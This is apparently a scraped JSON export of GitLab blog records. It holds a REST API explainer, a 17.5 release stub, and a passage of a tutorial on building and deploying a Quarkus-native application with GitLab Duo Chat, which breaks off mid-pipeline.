documentation](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html)  \n* [Explain this Vulnerability documentation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#explaining-a-vulnerability)  \n* [Code Flow documentation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-code-flow)  \n* [Security Policy documentation](https://docs.gitlab.com/ee/user/application_security/policies/) \n* [OWASP Juice Shop documentation](https://owasp.org/www-project-juice-shop/)\n",[790,674,696,754,479],{"slug":4085,"featured":92,"template":678},"quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai","content:en-us:blog:quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai.yml","Quick Vulnerability Remediation With Gitlab Advanced Sast Duo Ai","en-us/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai.yml","en-us/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai",{"_path":4091,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4092,"content":4098,"config":4104,"_id":4106,"_type":16,"title":4107,"_source":17,"_file":4108,"_stem":4109,"_extension":20},"/en-us/blog/guide-to-rest-api",{"title":4093,"description":4094,"ogTitle":4093,"ogDescription":4094,"noIndex":6,"ogImage":4095,"ogUrl":4096,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4096,"schema":4097},"Guide to REST API","Learn what REST API is, how it works, and what its benefit is in software development. Also find out the underlying principles of this important technology.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098516/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945_2N8JxZDeeDLlzrsJ4boteB_1750098516673.png","https://about.gitlab.com/blog/guide-to-rest-api","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide to REST API\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-10-18\",\n      }",{"title":4093,"description":4094,"authors":4099,"heroImage":4095,"date":4100,"body":4101,"category":734,"tags":4102},[711],"2024-10-18","Whether it's developing an online booking app, a mobile payment solution, or a messaging service, chances are your team is using a REST API. In this article, you'll learn what a REST API is and how it works, as well as its benefits and uses.\n\n## What is a REST API?\n\nREST API, RESTful API, or RESTful web API: These names designate APIs that adhere to a particular standard, which is the REST architecture. Before going any further, remember that an API, or application programming interface, is software that allows two applications to communicate with each other. In computing, APIs are essential to allow various applications to work together.\n\nTo create an API, developers follow strictly defined methods and principles, so that the whole can work. Before the 2000s, developers used [SOAP](https://www.techtarget.com/searchapparchitecture/definition/SOAP-Simple-Object-Access-Protocol) (Simple Object Access Protocol), a protocol built on XML (Extensible Markup Language), which was complex to coordinate and resource-intensive. While SOAP is still used today, it has been largely replaced by REST API.\n\nDesigned in 2000 by American computer scientist Roy Fielding during his doctoral thesis, REST (REpresentational State Transfer) has become the dominant model for creating APIs, and an essential milestone in the development of the World Wide Web. Today, the vast majority of APIs are based on REST, particularly to offer web, interactive, or mobile services. Let's find out how RESTful APIs work, their advantages, and their wide-ranging applications.\n\n## How does a REST API work?\n\nIn practice, the REST API works on the principle of the client-server environment. The RESTful API retrieves and transmits a user's or application's requests on one end and the information rendered by the server (application or database) on the other end.\n\nSome key concepts make it possible to understand how a RESTful API works. The client is the entity making a request. This is the case, for example, of a user searching within a product catalog on their browser. The API is responsible for communicating the request to the server, and returning the requested information to the client. The information that passes through the API is the resources. The server processes requests. In this case, it will return the list of products matching the search criteria.\n\nThe client's requests are made through the HTTP (Hypertext Transfer Protocol) protocol. Here are the main methods and tasks it enables you to accomplish:\n- GET: retrieve data sent by the server.\n- POST: send and publish information to the server (registration form data, for example).\n- PUT: update the server information.\n- PATCH: partially modify an existing resource.\n- DELETE: delete information from the server.\n\nThere are various data formats for using a REST API. The JSON (JavaScript Object Notation) format is a lightweight format, which is easy to understand and usable by many programming languages. XML makes it possible to manage complex data structures and is compatible with other standards such as RSS. YAML and HTML are other formats often used to communicate resources.\n\n## What are the principles of the REST API?\n\nA REST API follows the REST principles regarding software architecture. These principles create a guideline for creating flexible and lightweight APIs, which are perfectly adapted to data transmission over the internet.\n\nHere are the six architectural principles that govern a REST interface:\n- Client-server decoupling. The client only knows the URI (Uniform Resource Identifier) of the resource to be retrieved. The server interacts only by transmitting its data via HTTP.\n- Uniform interface. The REST architecture standardizes how information is identified, managed, and transmitted, and uses hyperlinks to bring additional resources to the client.\nCode on demand. The server can transmit code to the client to expand its functionality, such as to help identify errors in a form.\n- Layered system. A RESTful API can run on several servers organized hierarchically, to provide a more stable and efficient service to the client.\n- Cacheable. The REST server can cache data to better serve the client, for example by storing the images of a site to then serve them again.\n- Stateless. Each client request is stand-alone and processed independently by the server. Therefore, each request must contain all the elements necessary for its processing.\n\n## What are the benefits of a REST API?\n\nBy following the REST API framework requirements, developers make use of the many advantages of the RESTful API to develop effective and powerful applications:\n- Versatility: There are no restrictions on which programming language to use, and there is a wide selection of data formats (XML, PYTHON, JSON, HTML, etc.).\n- Lightweight: The lightweight data formats of a REST API make it ideal for mobile applications or the Internet of Things (IoT).\n- Portability: Client-server separation enables the exchange of data between platforms.\nFlexibility: This API does not have the complexities of a protocol since it is an architectural style.\n- Independence: Developers can work separately on the client or server part.\n\nThe benefits of the REST API translate into increased productivity and scalability for development teams. Scaling systems using REST API is easier. The features are therefore better able to support a large load of users and operations.\n\n## Security constraints\n\nCreating and managing a RESTful web API is not without challenges. User authentication can become complex when it uses several different methods, by HTTP, API keys, or OAuth (Open Authorization). On large and complex applications, the multiplication of endpoints between the server and the client can impair overall consistency, as can updates if they leave old touchpoints still active.\n\nAdditionally, the REST interface has a weakness because it transmits potentially sensitive data, such as identifiers, through the endpoint URL. Securing it requires specific measures such as Transport Layer Security (TLS) encryption, a robust user authentication model, and a system for managing malicious requests and limiting throughput.\n\n## Uses of a REST API\n\nDevelopers use APIs with the REST architecture to create and maintain many services. Therefore, most web and mobile applications use REST APIs to access and share resources and information. In the cloud, this API makes it possible to connect the services of distributed and hybrid architectures quickly. Within large companies, it enables interoperability between information system components.\n\nRefreshing an e-commerce site's prices, automating publications, orchestrating Kubernetes clusters, etc. The RESTful APIs' scope of use is limited only by the imagination of digital application developers and creators.\n\n## The GitLab REST API\n\nGitLab offers a comprehensive suite of tools and APIs for integrating and automating external applications. It includes GraphQL, webhooks, IDE extensions, and of course, a REST API. The GitLab REST API can be authenticated in many ways, such as by access token, OAuth, or session cookies. Endpoints are available for Dockerfile, .gitignore, GitLab CI/CD YAML, and open source templates. To take full advantage of all the possibilities for developing your agile and cloud-native applications, see the complete [GitLab REST API documentation](https://docs.gitlab.com/ee/api/rest/index.html).\n\n## REST API FAQs\n\n### REST vs. SOAP\n\nREST and SOAP are two API standards. REST (REpresentational State Transfer) API uses the REST architectural principles, which allow a server and a client to communicate in a lightweight and scalable way. The REST API is the most common type of API. The SOAP (Simple Object Access Protocol) protocol is older, more rigid, and only available in XML format. This old standard can still be used for applications that require a high level of security.\n\n### What is the difference between REST and REST API?\n\nREST is a style of software architecture intended to facilitate the creation of web services and the exchange of data over the internet, by ensuring interoperability between computers and servers. The RESTful web API is a type of API that is based on the main principles of REST.\n\n### What are the principles of a REST API?\n\nA REST API follows the six main principles of the REST architecture. These principles are uniform interface, code on demand, layered system, cacheable, stateless, and client-server decoupling. The latter principle forms the basis of the structure of a RESTful API; it is essential to the success of this API in the world of web applications.\n\n## Learn more\n- [GitLab Rest API documentation](https://docs.gitlab.com/ee/api/rest/)\n- [Extend with GitLab](https://docs.gitlab.com/ee/api/)",[232,4103],"DevOps",{"slug":4105,"featured":6,"template":678},"guide-to-rest-api","content:en-us:blog:guide-to-rest-api.yml","Guide To Rest Api","en-us/blog/guide-to-rest-api.yml","en-us/blog/guide-to-rest-api",{"_path":4111,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4112,"content":4119,"config":4125,"_id":4128,"_type":16,"title":4129,"_source":17,"_file":4130,"_stem":4131,"_extension":20},"/en-us/blog/gitlab-17-5-release",{"title":4113,"description":4114,"ogTitle":4113,"ogDescription":4114,"config":4115,"ogImage":4116,"ogUrl":4117,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4117,"schema":4118},"GitLab 17.5 Release","GitLab 17.5 released with Duo Quick Chat AI code assistance.",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666046/Blog/Hero%20Images/product-gl17-blog-release-cover-17-5-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-5-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.5 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Crowley\"}],\n        \"datePublished\": \"2024-10-17\",\n      }",{"title":4113,"description":4114,"authors":4120,"heroImage":4116,"date":4122,"body":4123,"category":695,"tags":4124},[4121],"John Crowley","2024-10-17","This is the blog post for [the GitLab 17.5 release](https://about.gitlab.com/releases/2024/10/17/gitlab-17-5-released/).",[774],{"slug":4126,"featured":6,"template":678,"externalUrl":4127},"gitlab-17-5-release","https://about.gitlab.com/releases/2024/10/17/gitlab-17-5-released/","content:en-us:blog:gitlab-17-5-release.yml","Gitlab 17 5 Release","en-us/blog/gitlab-17-5-release.yml","en-us/blog/gitlab-17-5-release",{"_path":4133,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4134,"content":4140,"config":4145,"_id":4147,"_type":16,"title":4148,"_source":17,"_file":4149,"_stem":4150,"_extension":20},"/en-us/blog/use-gitlab-duo-to-build-and-deploy-a-simple-quarkus-native-project",{"title":4135,"description":4136,"ogTitle":4135,"ogDescription":4136,"noIndex":6,"ogImage":4137,"ogUrl":4138,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4138,"schema":4139},"Use GitLab Duo to build and deploy a simple Quarkus-native project","This tutorial shows how a Java application is compiled to machine code and deployed to a Kubernetes cluster using a CI/CD pipeline. See how AI makes the process faster and more efficient.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666069/Blog/Hero%20Images/AdobeStock_639935439.jpg","https://about.gitlab.com/blog/use-gitlab-duo-to-build-and-deploy-a-simple-quarkus-native-project","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use GitLab Duo to build and deploy a simple Quarkus-native project\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2024-10-17\",\n      }",{"title":4135,"description":4136,"authors":4141,"heroImage":4137,"date":4122,"body":4142,"category":791,"tags":4143},[937],"In [“How to automate software delivery using Quarkus and GitLab,”](https://about.gitlab.com/blog/how-to-automate-software-delivery-using-quarkus-and-gitlab/) you learned how to develop and deploy a simple Quarkus-JVM application to a Kubernetes cluster using [GitLab Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/). Now, you'll learn how to use Quarkus-native to compile a Java application to machine code and deploy it to a Kubernetes cluster using a CI/CD pipeline. Follow our journey from development to deployment leveraging [GitLab Duo](https://about.gitlab.com/gitlab-duo/) as our AI companion, including the specific prompts we used.\n\n## What is Quarkus?\n\n[Quarkus](https://quarkus.io/), also known as the Supersonic Subatomic Java, is an open source, Kubernetes-native Java stack tailored to OpenJDK HotSpot and GraalVM. The Quarkus project recently moved to the [Commonhaus Foundation](https://www.commonhaus.org/), a nonprofit organization dedicated to the sustainability of open source libraries and frameworks that provides a balanced approach to governance and support.\n\n## Prerequisites\n\nThis tutorial assumes:\n\n- You have a running Kubernetes cluster, e.g. GKE.\n- You have access to the Kubernetes cluster from your local laptop via the `kubectl` command.\n- The cluster is connected to your GitLab project.\n- You have [Maven (Version 3.9.6 or later)](https://maven.apache.org/) installed on your local laptop.\n- You have Visual Studio Code installed on your local laptop.\n\nIf you’d like to set up a Kubernetes cluster connected to your GitLab project, you can follow the instructions in this [tutorial](https://about.gitlab.com/blog/eliminate-risk-with-feature-flags-tutorial/), up to but not including the “Creating an instance of MySQL database in your cluster via Flux” section (you do not need a database for this tutorial).\n\nYou will also need to install an nginx ingress in your Kubernetes cluster. Here are two ways to do this:\n1. You can follow the instructions in [“Creating and importing projects”](https://about.gitlab.com/blog/eliminate-risk-with-feature-flags-tutorial/#creating-and-importing-projects), up to the creation of the variable `KUBE_INGRESS_BASE_DOMAIN`.\n2. Or, just create an ingress in your Kubernetes cluster by following the instructions in our [Auto DevOps with GKE documentation](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html#install-ingress).\n\n**NOTE:** For this article, we used the first method above to install an ingress and cert-manager in the Kubernetes cluster.\n\n## Creating necessary project files using GitLab Duo Chat\n\nWe started our endeavor from VS Code and an empty project called `quarkus-native`, which we had previously created in GitLab and had already cloned to our local laptop.\n\n1. We opened GitLab Duo Chat, within VS Code, and entered the following prompt:\n\n**_Create a “Hello World” Quarkus application that can be natively compiled_**\n\n![hello-world-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/hello-world-prompt.png)\n\nChat replied with the prerequisites and process of what to do to create a simple “Hello World” Quarkus application. At this point, we were after the generated body of the class `HelloResource.java`:\n\n```\npackage org.acme;\n\nimport javax.ws.rs.GET;\nimport javax.ws.rs.Path;\nimport javax.ws.rs.Produces;\nimport javax.ws.rs.core.MediaType;\n\n@Path(\"/hello\")\npublic class HelloResource {\n\n    @GET\n    @Produces(MediaType.TEXT_PLAIN)\n    public String hello() {\n        return \"Hello World\";\n    }\n}\n```\n\n2. We knew that for Quarkus we needed a special Dockerfile, named `Dockerfile.native`, as part of the creation of the image for the application executable. We then entered the following prompt in Chat:\n\n**_Create the Dockerfile.native file for the sample application above_**\n\n![create-dockerfile-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675941/Blog/Content%20Images/create-dockerfile-prompt.png)\n\nChat replied with a very thorough answer about this file, its contents, and the containerization process. At this point, we were just after the generated body of the file `Dockerfile.native`:\n\n```\n####\n# This Dockerfile is used in order to build a container that runs the Quarkus application in native (no JVM) mode\n####\nFROM registry.access.redhat.com/ubi8/ubi-minimal:8.6\nWORKDIR /work/\nRUN chown 1001 /work \\\n    && chmod \"g+rwX\" /work \\\n    && chown 1001:root /work\nCOPY --chown=1001:root target/*-runner /work/application\n\nEXPOSE 8080\nUSER 1001\n\nCMD [\"./application\", \"-Dquarkus.http.host=0.0.0.0\"]\n```\n\n3. Next, we asked Chat to generate the `pom.xml` for this application by entering the following prompt:\n\n**_Create the pom.xml file for the sample application above_**\n\n![create-pom-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/create-pom-prompt.png)\n\nChat provided the content of the `pom.xml` file, an explanation of its contents, and how to use it. At this point, we were after the generated body of the file `pom.xml`:\n\n```\n\u003C?xml version=\"1.0\"?>\n\u003Cproject xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  \u003CmodelVersion>4.0.0\u003C/modelVersion>\n  \u003CgroupId>org.acme\u003C/groupId>\n  \u003CartifactId>hello-world-quarkus\u003C/artifactId>\n  \u003Cversion>1.0.0-SNAPSHOT\u003C/version>\n  \u003Cproperties>\n    \u003Ccompiler-plugin.version>3.10.1\u003C/compiler-plugin.version>\n    \u003Cmaven.compiler.release>11\u003C/maven.compiler.release>\n    \u003Cproject.build.sourceEncoding>UTF-8\u003C/project.build.sourceEncoding>\n    \u003Cproject.reporting.outputEncoding>UTF-8\u003C/project.reporting.outputEncoding>\n    \u003Cquarkus.platform.artifact-id>quarkus-bom\u003C/quarkus.platform.artifact-id>\n    \u003Cquarkus.platform.group-id>io.quarkus.platform\u003C/quarkus.platform.group-id>\n    \u003Cquarkus.platform.version>2.16.5.Final\u003C/quarkus.platform.version>\n    \u003CskipITs>true\u003C/skipITs>\n    \u003Csurefire-plugin.version>3.0.0-M7\u003C/surefire-plugin.version>\n  \u003C/properties>\n  \u003CdependencyManagement>\n    \u003Cdependencies>\n      \u003Cdependency>\n        \u003CgroupId>${quarkus.platform.group-id}\u003C/groupId>\n        \u003CartifactId>${quarkus.platform.artifact-id}\u003C/artifactId>\n        \u003Cversion>${quarkus.platform.version}\u003C/version>\n        \u003Ctype>pom\u003C/type>\n        \u003Cscope>import\u003C/scope>\n      \u003C/dependency>\n    \u003C/dependencies>\n  \u003C/dependencyManagement>\n  \u003Cdependencies>\n    \u003Cdependency>\n      \u003CgroupId>io.quarkus\u003C/groupId>\n      \u003CartifactId>quarkus-arc\u003C/artifactId>\n    \u003C/dependency>\n    \u003Cdependency>\n      \u003CgroupId>io.quarkus\u003C/groupId>\n      \u003CartifactId>quarkus-resteasy\u003C/artifactId>\n    \u003C/dependency>\n    \u003Cdependency>\n      \u003CgroupId>io.quarkus\u003C/groupId>\n      \u003CartifactId>quarkus-junit5\u003C/artifactId>\n      \u003Cscope>test\u003C/scope>\n    \u003C/dependency>\n    \u003Cdependency>\n      \u003CgroupId>io.rest-assured\u003C/groupId>\n      \u003CartifactId>rest-assured\u003C/artifactId>\n      \u003Cscope>test\u003C/scope>\n    \u003C/dependency>\n  \u003C/dependencies>\n  \u003Cbuild>\n    \u003Cplugins>\n      \u003Cplugin>\n        \u003CgroupId>${quarkus.platform.group-id}\u003C/groupId>\n        \u003CartifactId>quarkus-maven-plugin\u003C/artifactId>\n        \u003Cversion>${quarkus.platform.version}\u003C/version>\n        \u003Cextensions>true\u003C/extensions>\n        \u003Cexecutions>\n          \u003Cexecution>\n            \u003Cgoals>\n              \u003Cgoal>build\u003C/goal>\n              \u003Cgoal>generate-code\u003C/goal>\n              \u003Cgoal>generate-code-tests\u003C/goal>\n            \u003C/goals>\n          \u003C/execution>\n        \u003C/executions>\n      \u003C/plugin>\n      \u003Cplugin>\n        \u003CartifactId>maven-compiler-plugin\u003C/artifactId>\n        \u003Cversion>${compiler-plugin.version}\u003C/version>\n        \u003Cconfiguration>\n          \u003CcompilerArgs>\n            \u003Carg>-parameters\u003C/arg>\n          \u003C/compilerArgs>\n        \u003C/configuration>\n      \u003C/plugin>\n      \u003Cplugin>\n        \u003CartifactId>maven-surefire-plugin\u003C/artifactId>\n        \u003Cversion>${surefire-plugin.version}\u003C/version>\n        \u003Cconfiguration>\n          \u003CsystemPropertyVariables>\n            \u003Cjava.util.logging.manager>org.jboss.logmanager.LogManager\u003C/java.util.logging.manager>\n            \u003Cmaven.home>${maven.home}\u003C/maven.home>\n          \u003C/systemPropertyVariables>\n        \u003C/configuration>\n      \u003C/plugin>\n      \u003Cplugin>\n        \u003CartifactId>maven-failsafe-plugin\u003C/artifactId>\n        \u003Cversion>${surefire-plugin.version}\u003C/version>\n        \u003Cexecutions>\n          \u003Cexecution>\n            \u003Cgoals>\n              \u003Cgoal>integration-test\u003C/goal>\n              \u003Cgoal>verify\u003C/goal>\n            \u003C/goals>\n            \u003Cconfiguration>\n              \u003CsystemPropertyVariables>\n                \u003Cnative.image.path>${project.build.directory}/${project.build.finalName}-runner\u003C/native.image.path>\n                \u003Cjava.util.logging.manager>org.jboss.logmanager.LogManager\u003C/java.util.logging.manager>\n                \u003Cmaven.home>${maven.home}\u003C/maven.home>\n              \u003C/systemPropertyVariables>\n            \u003C/configuration>\n          \u003C/execution>\n        \u003C/executions>\n      \u003C/plugin>\n    \u003C/plugins>\n  \u003C/build>\n  \u003Cprofiles>\n    \u003Cprofile>\n      \u003Cid>native\u003C/id>\n      \u003Cactivation>\n        \u003Cproperty>\n          \u003Cname>native\u003C/name>\n        \u003C/property>\n      \u003C/activation>\n      \u003Cproperties>\n        \u003CskipITs>false\u003C/skipITs>\n        \u003Cquarkus.package.type>native\u003C/quarkus.package.type>\n      \u003C/properties>\n    \u003C/profile>\n  \u003C/profiles>\n\u003C/project>\n```\n\n4. We then asked Chat to generate the Quarkus test file for this application by entering the following prompt:\n\n**_Create the content for the Quarkus test for the application above_**\n\n![create-quarkus-test-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/create-quarkus-test-prompt.png)\n\nChat returned the body for the Quarkus test, how to use it, and the body of the Java class for the test needed for its native compilation. At this point, we were after the generated bodies of the file `HelloResourceTest.java` and `HelloResourceIT.java`.\n\nHere is the generated body for `HelloResourceTest.java`:\n\n```\npackage org.acme;\n\nimport io.quarkus.test.junit.QuarkusTest;\nimport org.junit.jupiter.api.Test;\n\nimport static io.restassured.RestAssured.given;\nimport static org.hamcrest.CoreMatchers.is;\n\n@QuarkusTest\npublic class HelloResourceTest {\n\n    @Test\n    public void testHelloEndpoint() {\n        given()\n          .when().get(\"/hello\")\n          .then()\n             .statusCode(200)\n             .body(is(\"Hello World\"));\n    }\n\n}\n```\n\nHere is the generated body for `HelloResourceIT.java`:\n\n```\npackage org.acme;\n\nimport io.quarkus.test.junit.QuarkusIntegrationTest;\n\n@QuarkusIntegrationTest\npublic class HelloResourceIT extends HelloResourceTest {\n    // Execute the same tests but in native mode.\n}\n```\n\n5. We needed to know how to organize these files in the GitLab project, so we asked about the directory structure for all these files by entering the following prompt in Chat:\n\n**_Give me the entire directory structure for this project including the location of each file, e.g. pom.xml, Dockerfile.native, application.properties, HelloResource.java, HelloResourceTest.java, and the location of the target directory_**\n\n![create-dir-struct-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/create-dir-struct-prompt.png)\n\nChat replied with a detailed diagram about the entire directory structure for the project and where all these files should be located as well as a description of the purpose of each of them. It even mentioned that the directory `target/` and its contents should not be version controlled since it was generated by the build process. Another interesting aspect of the reply was the existence of a file called `resources/application.properties` in the directory structure.\n\n![dir-struct-chat-response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/dir-struct-chat-response.png)\n\nWith all this information in our hands, we were ready to start creating these files in our GitLab project.\n\n## Populating our project with the generated content for each file\n\nWe created each of the following files in their corresponding location and their generated content as provided by Chat:\n\n- `src/main/java/org/acme/HelloResource.java`\n- `resources/application.properties`\n- `src/test/java/org/acme/HelloResourceTest.java`\n- `src/test/java/org/acme/HelloResourceIT.java`\n- `pom.xml`\n- `Dockerfile.native`\n\n**NOTE:** We considered using GitLab Auto Deploy for this endeavor but later realized that it would not be a supported option. We are mentioning this because in the video at the end of this tutorial, you will see that we asked Chat: `How to set the service internalPort to 8080 for auto deploy`. Then we created a file named `.gitlab/auto-deploy-values.yaml` with the generated content from Chat. The creation of this file is not necessary for this tutorial.\n\nBefore we started tackling the pipeline to build, containerize, and deploy the application to our Kubernetes cluster, we decided to generate the executable locally on our Mac and test the application locally.\n\n## Testing the application locally\n\nHere is the process we went through to test the application on our local machine.\n\n1. To build the application on the local Mac laptop, from a Terminal window, we entered the following command:\n\n```\nmvn clean package -Pnative\n```\n\n![first-build](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/first-build.png)\n\nThe native compilation failed with the error message:\n\n`Cannot find the ‘native-image’ in the GRAALVM_HOME, JAVA_HOME and System PATH. Install it using ‘gu install native-image’`\n\n2. So, we used our trusty GitLab Duo Chat again and asked it the following:\n\n**_The command “mvn clean package -Pnative” is failing with error “java.lang.RuntimeException: Cannot find the ‘native-image’ in the GRAALVM_HOME, JAVA_HOME and System PATH. Install it using gu install native-image”. I’m using a MacOS Sonoma. How do I fix this error on my Mac?_**\n\n![how-to-fix-build-failure-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/how-to-fix-build-failure-prompt.png)\n\nChat replied with a detailed set of steps on how to install the necessary software and set the appropriate environment variables.\n\n3. We copied and pasted the following commands from the Chat window to a Terminal window:\n\n```\nbrew install –cask graalvm/tap/graalvm-ce-java17\nexport JAVA_HOME=/Library/Java/JavaVIrtualMachines/graalvm-ce-java17-22.3.1\nexport GRAALVM_HOME=${JAVA_HOME}\nexport PATH=${GRAALVM_HOME}/bin:$PATH\nxattr -r -d com.apple.quarantine ${GRAALVM_HOME}/../..\ngu install native-image\n```\n\nThe commands above installed the community edition of GraalVM Version 22.3.1 that supported Java 17. We noticed, during the brew install, that the version of the GraalVM being installed was `java17-22.3.1`, so we had to update the pasted value for `JAVA_HOME` from `graalvm-ce-java17-22.3.0` to `graalvm-ce-java17-22.3.1`.\n\nWe also had to run the `xattr` command to get the GraalVM, which we had downloaded and installed on our Mac, out of quarantine so that it could run locally. Lastly, we installed the GraalVM native-image.\n\n4. At this point, we again, from a Terminal window, entered the following command to build the application on the local Mac laptop:\n\n```\nmvn clean package -Pnative\n```\n\nThis time the compilation was successful and an executable was generated in the `target` directory.\n\n![successful-local-compilation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/successful-local-compilation.png)\n\n5. We ran the executable by entering the following commands from a Terminal window:\n\n```\ncd target\n./quarkus-native-1.0.0-SNAPSHOT-runner “-Dquarkus.http.host=0.0.0.0”\n```\n\n![executable-local-run](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/executable-local-run.png)\n\n6. With the application running, we opened a browser window, and in the URL field, we entered:\n\n```\nhttp://localhost:8080/hello\n```\n\n![app-running-locally](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/app-running-locally.png)\n\nThe application returned the string `Hello World`, which was displayed in the browser window.\n\nAt this point, we committed and pushed all the changes to our GitLab project and started working on creating a CI/CD pipeline that would build and deploy the application to a Kubernetes cluster running on the cloud.\n\nBut before continuing, we remembered to add, commit, and push a `.gitignore` file to our project that included the path `target/`, since this was the directory where the executable would be created and we didn’t need to keep it - or its contents - under version control.\n\n## Creating the pipeline with GitLab Duo Chat\n\nNow that we had already successfully tested the application locally on our Mac, we needed to create the CI/CD pipeline that would compile the application, containerize it, and deploy it to our Kubernetes cluster. We wanted to keep the pipeline simple, brief, and have a single environment in which to deploy it. To this end, the pipeline would not tackle multiple environments or feature branches, for example.\n\n1. To avoid manually creating a pipeline from scratch, we decided to once again leverage Chat. We entered the following prompt\n\n**_Create a .gitlab-ci.yml file with 3 stages: build, containerize, and deploy. Each of these stages should have a single job with the same name. The build job should compile the application natively using the -Pnative maven option and the builder image for mandrel jdk-22 for java17 and store the application executable and its Dockerfile as artifacts. The containerize job should use docker to build and push the image to the built-in container registry. The deploy job should rollout the containerized application, named quarkus-app, to the production environment in the Kubernetes cluster by creating a deployment resource, a service resource and an ingress rule with host ${KUBE_INGRESS_BASE_DOMAIN} and /hello prefix. The deploy job should also include the url for the production environment. When setting the Kubernetes context, use ${KUBE_CONTEXT}, and for application namespace, use ${KUBE_NAMESPACE}_**\n\n![create-pipeline-prompt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675940/Blog/Content%20Images/create-pipeline-prompt.png)\n\nThe prompt above provided some points that we thought would be useful and necessary for a good outcome. The requirements listed by the prompt were:\n\n- It specified that the pipeline needed to have three stages: build, containerize, and deploy.\n- Each stage would have a single job.\n- The build job should natively compile (not build) the application using the -Pnative option.\n- The build job should use the open source software `mandrel` and use the version that would support jdk-22 for Java 17. Remember that these were the versions that we tested on our local machine.\n- The build job would also need to pass the resulting executable and the project Dockerfile to the next job, i.e. containerize, in the pipeline.\n- The containerize job should build a docker image with the executable using the Dockerfile, both of which were passed as artifacts.\n- The containerize job should push the image to the GitLab container registry.\n- The deploy job should use the image from the GitLab container registry, name it `quarkus-app`, and deploy it to the Kubernetes cluster using deployment, service and ingress rule resources.\n- The deploy job should use the environment variables `${KUBE_INGRESS_BASE_DOMAIN}`, `${KUBE_CONTEXT}`, and `${KUBE_NAMESPACE}`, which had been defined as group/project variables, accordingly.\n\nChat responded with the following `.gitlab-ci.yml` example:\n\n```\n# Define the stages for the pipeline\nstages:\n  - build\n  - containerize\n  - deploy\n\n# Variables section to use GitLab CI/CD variables\nvariables:\n  MAVEN_OPTS: \"-Dmaven.repo.local=.m2/repository\"\n  MAVEN_CLI_OPTS: \"--batch-mode --errors --fail-at-end --show-version -DinstallAtEnd=true -DdeployAtEnd=true\"\n  CONTAINER_IMAGE: ${CI_REGISTRY_IMAGE}:${CI_COMMIT_SHA}\n\n# Cache configuration for Maven dependencies\ncache:\n  paths:\n    - .m2/repository\n\n# Build stage: Compile the application natively\nbuild:\n  stage: build\n  image:\n    name: quay.io/quarkus/ubi-quarkus-mandrel-builder-image:22.3-java17\n    entrypoint:\n      - \"\"\n  script:\n    - ./mvnw ${MAVEN_CLI_OPTS} clean package -Pnative\n  artifacts:\n    paths:\n      - target/*-runner\n      - src/main/docker/Dockerfile.native-micro\n  # This job runs only on the main branch\n  only:\n      - main\n\n# Containerize stage: Build and push Docker image\ncontainerize:\n  stage: containerize\n  image: docker:20.10.16\n  services:\n    - docker:20.10.16-dind\n  variables:\n    DOCKER_TLS_CERTDIR: \"/certs\"\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -f src/main/docker/Dockerfile.native-micro -t ${CONTAINER_IMAGE} .\n    - docker push ${CONTAINER_IMAGE}\n  # This job runs only on the main branch\n  only:\n      - main\n\n# Deploy stage: Deploy to Kubernetes\ndeploy:\n  stage: deploy\n  image: \n    name: bitnami/kubectl:latest\n    entrypoint: ['']\n  script:\n    - kubectl config use-context ${KUBE_CONTEXT}\n    - kubectl config set-context --current --namespace=${KUBE_NAMESPACE}\n    - |\n      cat \u003C\u003CEOF | kubectl apply -f -\n      apiVersion: apps/v1\n      kind: Deployment\n      metadata:\n        name: quarkus-app\n      spec:\n        replicas: 1\n        selector:\n          matchLabels:\n            app: quarkus-app\n        template:\n          metadata:\n            